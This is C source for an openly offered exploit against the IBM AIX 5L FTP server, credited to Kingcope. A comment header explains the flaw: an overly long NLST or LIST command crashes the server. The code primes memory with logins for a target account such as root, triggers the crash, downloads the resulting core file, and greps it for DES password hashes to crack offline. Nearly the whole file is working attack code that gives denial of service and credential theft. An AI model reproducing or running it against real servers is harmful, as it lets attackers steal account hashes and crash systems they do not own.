/*
* IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
*
* Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
*
* bug found & exploited by Kingcope
*
* Version 2.0 - July 2010
* ----------------------------------------------------------------------------
* Description: -
* The AIX 5l FTP-Server crashes when an overly long NLST command is supplied -
* For example: NLST ~AAAAA...A (2000 A´s should be enough) -
* The fun part here is that it creates a coredump file in the current -
* directory if it is set writable by the logged in user. -
* The goal of the exploit is to get the DES encrypted user hashes -
* off the server. These can be later cracked with JtR. -
* This is accomplished by populating the memory with logins of the user -
* we would like the encrypted hash from. Logging in three times with the -
* target username should be enough so that the DES hash is included in the -
* 'core' file. -
* The FTPd banner looks like below. -
* 220 AIX5l FTP-Server (Version 4.1 Tue May 29 11:57:21 CDT 2001) ready. -
* 220 AIX5l FTP server (Version 4.1 Wed Mar 2 15:52:50 CST 2005) ready. -
* ----------------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <fcntl.h>
int createconnection(char *target, char *targetport);
void getline(int s);
void putline(int s, char *out);
void usage(char *exe);
char in[8096];
char out[8096];
int main(int argc, char *argv[])
{
extern int optind;
extern char *optarg;
int haveuser=0,havepassword=0;
int s,s2,nsock;
int c,k,len;
int fd;
char *target = NULL;
char *username = "ftp";
char *password = "guest";
char *writeto = "pub";
char *crackme = "root";
char *targetport = "21";
int uselist = 0;
char *myip = NULL;
char *as = NULL;
int octet_in[4], port;
struct sockaddr_in yo, cli;
char *oct = NULL;
while ((c = getopt(argc, argv, "h:i:p:l:k:d:c:s")) != EOF) {
switch(c) {
case 'h':
target = (char*)malloc(strlen(optarg)+1);
strcpy(target, optarg);
break;
case 'i':
myip = (char*)malloc(strlen(optarg)+1);
strcpy(myip, optarg);
break;
case 'p':
targetport = (char*)malloc(strlen(optarg)+1);
strcpy(targetport, optarg);
break;
case 'l':
username = (char*)malloc(strlen(optarg)+1);
strcpy(username, optarg);
haveuser = 1;
break;
case 'k':
password = (char*)malloc(strlen(optarg)+1);
strcpy(password, optarg);
havepassword = 1;
break;
case 'd':
writeto = (char*)malloc(strlen(optarg)+1);
strcpy(writeto, optarg);
break;
case 'c':
crackme = (char*)malloc(strlen(optarg)+1);
strcpy(crackme, optarg);
break;
case 's':
uselist = 1;
break;
default:
usage(argv[0]);
}
}
if (target == NULL || myip == NULL)
usage(argv[0]);
if ((haveuser && !havepassword) || (!haveuser && havepassword)) {
usage(argv[0]);
}
s = createconnection(target, targetport);
getline(s);
fprintf(stderr, "populating DES hash in memory...\n");
for (k=0;k<3;k++) {
snprintf(out, sizeof out, "USER %s\r\n", crackme);
putline(s, out);
getline(s);
snprintf(out, sizeof out, "PASS abcdef\r\n");
putline(s,out);
getline(s);
}
fprintf(stderr, "logging in...\n");
snprintf(out, sizeof out, "USER %s\r\n", username);
putline(s, out);
getline(s);
snprintf(out, sizeof out, "PASS %s\r\n", password);
putline(s,out);
getline(s);
getline(s);
fprintf(stderr, "changing directory...\n");
snprintf(out, sizeof out, "CWD %s\r\n", writeto);
putline(s, out);
getline(s);
fprintf(stderr, "triggering segmentation violation...\n");
as = (char*)malloc(2000);
memset(as, 'A', 2000);
as[2000-1]=0;
if (!uselist) {
snprintf(out, sizeof out, "NLST ~%s\r\n", as);
} else {
/* AIX 5.3 trigger - thanks to karol */
snprintf(out, sizeof out, "LIST ~%s\r\n", as);
}
putline(s, out);
memset(in, '\0', sizeof in);
if (recv(s, in, sizeof in, 0) < 1) {
printf("trigger succeeded!\nwaiting for core file to be created...\n");
} else {
printf("trigger seems to have failed, proceeding anyways...\n"
"\nwaiting for core file to be created...\n");
}
sleep(5);
close(s);
s = createconnection(target, targetport);
getline(s);
fprintf(stderr, "logging in 2nd time...\n");
snprintf(out, sizeof out, "USER %s\r\n", username);
putline(s, out);
getline(s);
snprintf(out, sizeof out, "PASS %s\r\n", password);
putline(s,out);
getline(s);
getline(s);
fprintf(stderr, "changing directory...\n");
snprintf(out, sizeof out, "CWD %s\r\n", writeto);
putline(s, out);
getline(s);
fprintf(stderr, "getting core file...\n");
snprintf(out, sizeof out, "TYPE I\r\n");
putline(s, out);
getline(s);
port = getpid() + 1024;
len = sizeof(cli);
bzero(&yo, sizeof(yo));
yo.sin_family = AF_INET;
yo.sin_port=htons(port);
yo.sin_addr.s_addr = htonl(INADDR_ANY);
oct=(char *)strtok(myip,".");
octet_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[3]=atoi(oct);
snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
putline(s, out);
getline(s);
if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
return -1;
}
if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) {
perror("bind");
close(s2);
exit(1);
}
if (listen(s2, 10) < 0) {
perror("listen");
close(s2);
exit(1);
}
snprintf(out, sizeof out, "RETR core\r\n");
putline(s, out);
getline(s);
if (strstr(in, "150") == NULL) {
fprintf(stderr, "core file not found... terminating.\n");
close(s);
exit(1);
}
fd = open("core", O_WRONLY | O_CREAT);
if (fd == -1) {
perror("open on local core file");
close(s);
exit(1);
}
sleep(1);
if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) {
perror("accept");
close(s);
exit(1);
}
do {
k = recv(nsock, in, sizeof in, 0);
if (k < 1) break;
write(fd, in, k);
} while (k > 0);
close(nsock);
close(fd);
close(s);
fprintf(stderr, "finally extracting DES hashes from core file for user '%s'...\n", crackme);
system("strings core | grep '^[A-Za-z0-9]\\{13\\}$'");
fprintf(stderr, "done.\n");
return 0;
}
int createconnection(char *target, char *targetport) {
struct addrinfo hints, *res;
int s;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo(target, targetport, &hints, &res)) {
perror("getaddrinfo");
exit(1);
}
s = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
if (s < 0) {
perror("socket");
exit(1);
}
if (connect(s, res->ai_addr, res->ai_addrlen) < 0) {
perror("connect");
exit(1);
}
return s;
}
void getline(int s)
{
memset(in, '\0', sizeof in);
if (recv(s, in, sizeof in, 0) < 1) {
perror("recv");
close(s);
exit(1);
}
fprintf(stderr, "<\t%s", in);
}
void putline(int s, char *out) {
fprintf(stderr, ">\t%s", out);
if (send(s, out, strlen(out), 0) == -1) {
perror("send");
close(s);
exit(1);
}
}
void usage(char *exe)
{
fprintf(stderr, "%s <-h host> <-i your internal ip> [-p port] [-l username] [-k password]"
" [-d writable directory] [-c user to crack] [-s use 'LIST' command on AIX 5.3]\n",
exe);
exit(0);
}
